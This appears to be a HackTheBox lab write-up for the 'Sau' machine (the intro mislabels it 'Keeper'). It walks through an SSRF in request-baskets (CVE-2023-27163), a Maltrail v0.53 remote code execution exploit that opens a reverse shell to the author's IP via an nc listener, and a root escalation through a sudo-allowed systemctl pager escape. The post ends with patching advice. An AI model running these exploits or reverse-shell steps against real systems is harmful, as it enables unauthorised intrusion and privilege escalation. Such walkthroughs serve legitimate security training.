Keeper is an “easy” level box from HackTheBox - none of the exploits for this one are especially complicated, but you do need to figure out some clever pivoting. Great fun, let’s dive in.
As usual, we’ll start by adding sau.htb to /etc/hosts and run nmap:
We can see that port 55555 is open (lol!)
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-09 10:21 GMT
Nmap scan report for sau.htb (10.129.66.76)
Host is up (0.024s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
| 256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_ 256 b30c47fba2f212ccce0b58820e504336 (ED25519)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Thu, 09 Nov 2023 10:22:02 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Thu, 09 Nov 2023 10:21:36 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Thu, 09 Nov 2023 10:21:36 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.93%I=7%D=11/9%Time=654CB2B3%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\
SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Thu,\x2009\x20Nov\x20
SF:2023\x2010:21:36\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/w
SF:eb\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x202
SF:00\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Thu,\x2009\x20Nov\x20
SF:2023\x2010:21:36\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nC
SF:onnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(K
SF:erberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options
SF::\x20nosniff\r\nDate:\x20Thu,\x2009\x20Nov\x202023\x2010:22:02\x20GMT\r
SF:\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20nam
SF:e\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\$\
SF:n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.46 seconds
There are a couple of filtered ports (more about those later), so let’s take a quick look at port 55555 - we see it’s an app called request-baskets.
We don’t need to enumerate very much, since the homepage itself tells us what we’re doing with version: 1.2.1
Let’s not overcomplicate things - a quick search reveals a CVE: https://github.com/entr0pie/CVE-2023-27163
We can read that “Request-baskets is a web application built to collect and register requests on a specific route, so-called basket. When creating it, the user can specify another server to forward the request. The issue here is that the user can specify unintended services, such as network-closed applications.” This leads to a vulnerability known as Server Side Request Forgery.
What does that mean in our context? Let’s suppose that the server hosts request-baskets on port 55555 and some other application (perhaps a web server) on port 80, or port 8338 - normally, if the applications listening on 80 and 8338 are configured to be accessible only via localhost we wouldn’t be able to interact with them. However, here we can manipulate request baskets to create a basket which forwards to http://localhost:80 - allowing us to access the restricted web server.
The CVE mentioned above makes it easy to take advantage of the SSRF vulnerability, and view the content of the server running on port 80
└──╼ $bash ./CVE-2023-27163.sh http://sau.htb:55555/ http://127.0.0.1:80/
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
> Creating the "hzveyr" proxy basket...
> Basket created!
> Accessing http://sau.htb:55555/hzveyr now makes the server request to http://127.0.0.1:80/.
> ./CVE-2023-27163.sh: line 43: jq: command not found
> Response body (Authorization): {"token":"RNIGG3LrtmcHpqwhoVwhhWn-IJ7oJWhg0wUccN8390Dz"}
Let’s also take a look at 8338
> ```
> └──╼ $bash ./CVE-2023-27163.sh http://sau.htb:55555/ http://127.0.0.1:8338/
> Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
>
> > Creating the "meyddo" proxy basket...
> > Basket created!
> > Accessing http://sau.htb:55555/meyddo now makes the server request to http://127.0.0.1:8338/.
> > ./CVE-2023-27163.sh: line 43: jq: command not found
> > Response body (Authorization): {"token":"WZO9G78hlZHdwE7B0QQqo0wrMuDthXREtTkNpMLIkPs9"}
We can now visit the baskets we created to view the content of the hidden servers!
As it turns out both ports seem to be the same - a web interface powered by Maltrail (v0.53)
Once again, a quick search shows that there’s a remote code execution exploit for this: https://github.com/spookier/Maltrail-v0.53-Exploit
We’ll clone down this exploit - it’s a pretty simple one, the only thing we’ll need to keep in mind is that when targeting our attack we’ll need to point to the request baskets URL, and not the service itself. Remember we can’t access Maltrail from our system, only via the SSRF “tunnel” we’ve created using the request basket.
└──╼ $python3 exploit.py 10.10.14.48 8181 http://sau.htb:55555/meyddo
Running exploit on http://sau.htb:55555/meyddo/login
And we have a shell!
└──╼ $nc -nvlp 8181
listening on [any] 8181 ...
connect to [10.10.14.48] from (UNKNOWN) [10.129.66.76] 49082
$ whoami
whoami
puma
$ python3 -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
puma@sau:/opt/maltrail$ pwd
pwd
/opt/maltrail
puma@sau:/opt/maltrail$
Well jump to Puma’s home directory and grab the flag…
puma@sau:~$ ls -lah
ls -lah
total 32K
drwxr-xr-x 4 puma puma 4.0K Jun 19 12:25 .
drwxr-xr-x 3 root root 4.0K Apr 15 2023 ..
lrwxrwxrwx 1 root root 9 Apr 14 2023 .bash_history -> /dev/null
-rw-r--r-- 1 puma puma 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 puma puma 3.7K Feb 25 2020 .bashrc
drwx------ 2 puma puma 4.0K Apr 15 2023 .cache
drwx------ 3 puma puma 4.0K Apr 15 2023 .gnupg
-rw-r--r-- 1 puma puma 807 Feb 25 2020 .profile
lrwxrwxrwx 1 puma puma 9 Apr 15 2023 .viminfo -> /dev/null
lrwxrwxrwx 1 puma puma 9 Apr 15 2023 .wget-hsts -> /dev/null
-rw-r----- 1 root puma 33 Nov 9 10:16 user.txt
A quick bit of initial enumeration shows we can run some items with sudo privileges.
puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Specifically, we can check the status of the trail service. This seems pretty specific, so if we take a look at trail.service…
cat /etc/systemd/system/trail.service
[Unit]
Description=Maltrail. Server of malicious traffic detection system
Documentation=https://github.com/stamparm/maltrail#readme
Documentation=https://github.com/stamparm/maltrail/wiki
Requires=network.target
Before=maltrail-sensor.service
After=network-online.target
[Service]
User=puma
Group=puma
WorkingDirectory=/opt/maltrail
ExecStart=/usr/bin/python3 server.py
Restart=on-failure
KillMode=mixed
[Install]
WantedBy=multi-user.target
There’s nothing here which jumps right out as a way forward - however, a quick look at GTFO bins reminds me of an exploit I’ve seen a few times this year:
What this means is that when executing the command “systemctl status trail.service” with an interactive TTY, the logs will open in a pager if the output is larger than the screen can display all at once. The default pager is often “less”. Since this pager allows executing commands like vim, it creates an opportunity for privilege escalation. Essentially, all we need to do is run the command as sudo, which we can do, then force the pager to activate by displaying content larger than the current terminal size (a large file our output will do the job!). From here, we can simply hit enter !sh to spawn a shell - sudo privileges are not properly dropped, and we’re root!
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Thu 2023-11-09 10:15:55 UTC; 42min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 883 (python3)
Tasks: 13 (limit: 4662)
Memory: 281.5M
CGroup: /system.slice/trail.service
├─ 883 /usr/bin/python3 server.py
├─1151 /bin/sh -c logger -p auth.info -t "maltrail[883]" "Failed p>
├─1152 /bin/sh -c logger -p auth.info -t "maltrail[883]" "Failed p>
├─1155 sh
├─1156 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I>
├─1157 /bin/sh
├─1159 python3 -c import pty; pty.spawn('/bin/bash')
├─1160 /bin/bash
├─4590 gpg-agent --homedir /home/puma/.gnupg --use-standard-socket>
├─9641 sudo /usr/bin/systemctl status trail.service
├─9642 /usr/bin/systemctl status trail.service
└─9643 pager
Nov 09 10:15:55 sau systemd[1]: Started Maltrail. Server of malicious traffic d>
lines 1-23
Nov 09 10:36:52 sau maltrail[1136]: Failed password for None from 127.0.0.1 por>
lines 2-24
Nov 09 10:40:07 sau maltrail[1173]: Failed password for ; from 127.0.0.1 port 5>
lines 3-25
Nov 09 10:41:18 sau sudo[1178]: puma : TTY=pts/1 ; PWD=/home/puma ; USER=ro>
lines 4-26
Nov 09 10:54:29 sau sudo[1460]: puma : TTY=pts/1 ; PWD=/tmp ; USER=root ; C>
lines 5-27!sh
!sh
# whoami
whoami
root
# cd ~
cd ~
# cat root.txt
So let’s now take a look at the vulnerabilities we found, and how they could have been avoided.
All three exploits for this box existed, as is often the case, because software was not properly updated. Simply updating any of these components would have likely prevented the attack chain all the way to root - updating request baskets would have stopped us dead, because without the SSRF vulnerability, it would have been impossible to reach the internal Maltrail server to start with. Update your software people!
See you in the next one!